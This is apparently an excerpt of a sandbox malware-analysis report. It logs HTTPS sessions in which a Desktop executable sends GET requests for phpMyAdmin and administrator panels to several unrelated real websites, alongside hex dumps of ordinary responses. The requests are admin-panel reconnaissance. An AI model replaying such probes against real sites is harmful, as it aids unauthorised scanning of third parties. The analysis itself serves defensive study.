2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 20 23 46 46 46 46 46 46 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 3a 20 23 41 37 31 34 34 43 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 72 3a 20 31 36 37 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 67 3a 20 32 30 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 62 3a 20 37 36 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 68 65 73 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 Data Ascii: #FFFFFF;--yith-wcan-filters_colors_accent: #A7144C;--yith-wcan-filters_colors_accent_r: 167;--yith-wcan-filters_colors_accent_g: 20;--yith-wcan-filters_colors_accent_b: 76;--yith-wcan-color_swatches_border_radius: 100%;--yith-wcan-color_swatc
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 65 20 61 2e 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 66 61 63 65 62 6f 6f 6b 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 35 41 46 45 32 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 35 41 46 45 32 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 3a 68 6f 76 65 72 7b 62 61 63 6b Data Ascii: e a.facebook{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.facebook:hover{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.twitter{background: #45AFE2; background-color: #45AFE2;}.yith-wcwl-share a.twitter:hover{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.4	64270	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	173	OUT	GET /PhpMyAdmin HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	636	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:42 UTC	733	IN	Data Raw: 37 64 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d33<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e Data Ascii: :void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c Data Ascii: !0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 Data Ascii: if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.s
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: [e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e)
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 Data Ascii: ndow.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator i
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 Data Ascii: )}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){le
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 Data Ascii: ;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,cont
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 Data Ascii: i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.4	64388	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	440	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 34 38 30 30 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 30 33 20 44 65 63 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comSet-Cookie: originDirect=true; Max-Age=604800; Expires=Sun, 03 Dec 2023 05:59:42 GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.4	64334	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	180	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	461	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:42 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.ceuandalucia.es/wp-json/>; rel
2023-11-26 05:59:43 UTC	6	IN	Data Raw: 32 33 30 34 0d 0a Data Ascii: 2304
2023-11-26 05:59:43 UTC	4773	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 68 74 6d 6c 2d 6c 6f 61 64 69 6e 67 20 77 66 2d 61 63 74 69 76 65 20 69 65 20 6f 6c 64 2d 62 72 6f 77 73 65 72 20 6c 74 2d 69 65 31 30 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 2d 69 65 37 20 72 65 73 70 6f 6e 73 69 76 65 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 6d 73 63 6f 70 65 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js html-loading wf-active ie old-browser lt-ie10 lt-ie9 lt-ie8 lt-ie7 responsive" itemscope="itemscope" itemtype="http://schema.org/WebPage" lang="es" xmlns:og="http://opengraphprotocol.org/schema/"
2023-11-26 05:59:43 UTC	4191	IN	Data Raw: 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 61 63 6b Data Ascii: <style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em !important;back
2023-11-26 05:59:43 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:43 UTC	6	IN	Data Raw: 32 37 66 63 0d 0a Data Ascii: 27fc
2023-11-26 05:59:43 UTC	5939	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6e 65 77 73 6c 65 74 74 65 72 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6e 65 77 73 6c 65 74 74 65 72 2f 73 75 62 73 63 72 69 70 74 69 6f 6e 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 35 2e 31 2e 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6d 6f 6f 76 65 5f 67 64 70 72 5f 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f Data Ascii: <link rel='stylesheet' id='newsletter-subscription-css' href='https://www.ceuandalucia.es/wp/wp-content/plugins/newsletter/subscription/style.css?ver=5.1.8' type='text/css' media='all' /><link rel='stylesheet' id='moove_gdpr_frontend-css' href='https:/
2023-11-26 05:59:43 UTC	4297	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 62 6f 6f 74 73 74 72 61 70 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 6e 76 69 73 69 6f 6e 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 3f 76 65 72 3d 32 2e 30 2e 39 2e 33 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 63 68 69 6c 64 2d 66 72 6f 6e 74 65 6e 64 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: <link rel='stylesheet' id='theme-bootstrap-css' href='https://www.ceuandalucia.es/wp/wp-content/themes/envision/lib/css/bootstrap.css?ver=2.0.9.3' type='text/css' media='all' /><link rel='stylesheet' id='theme-child-frontend-style-css' href='https://ww
2023-11-26 05:59:43 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:43 UTC	6	IN	Data Raw: 35 62 66 35 0d 0a Data Ascii: 5bf5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.4	64308	116.202.203.176	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
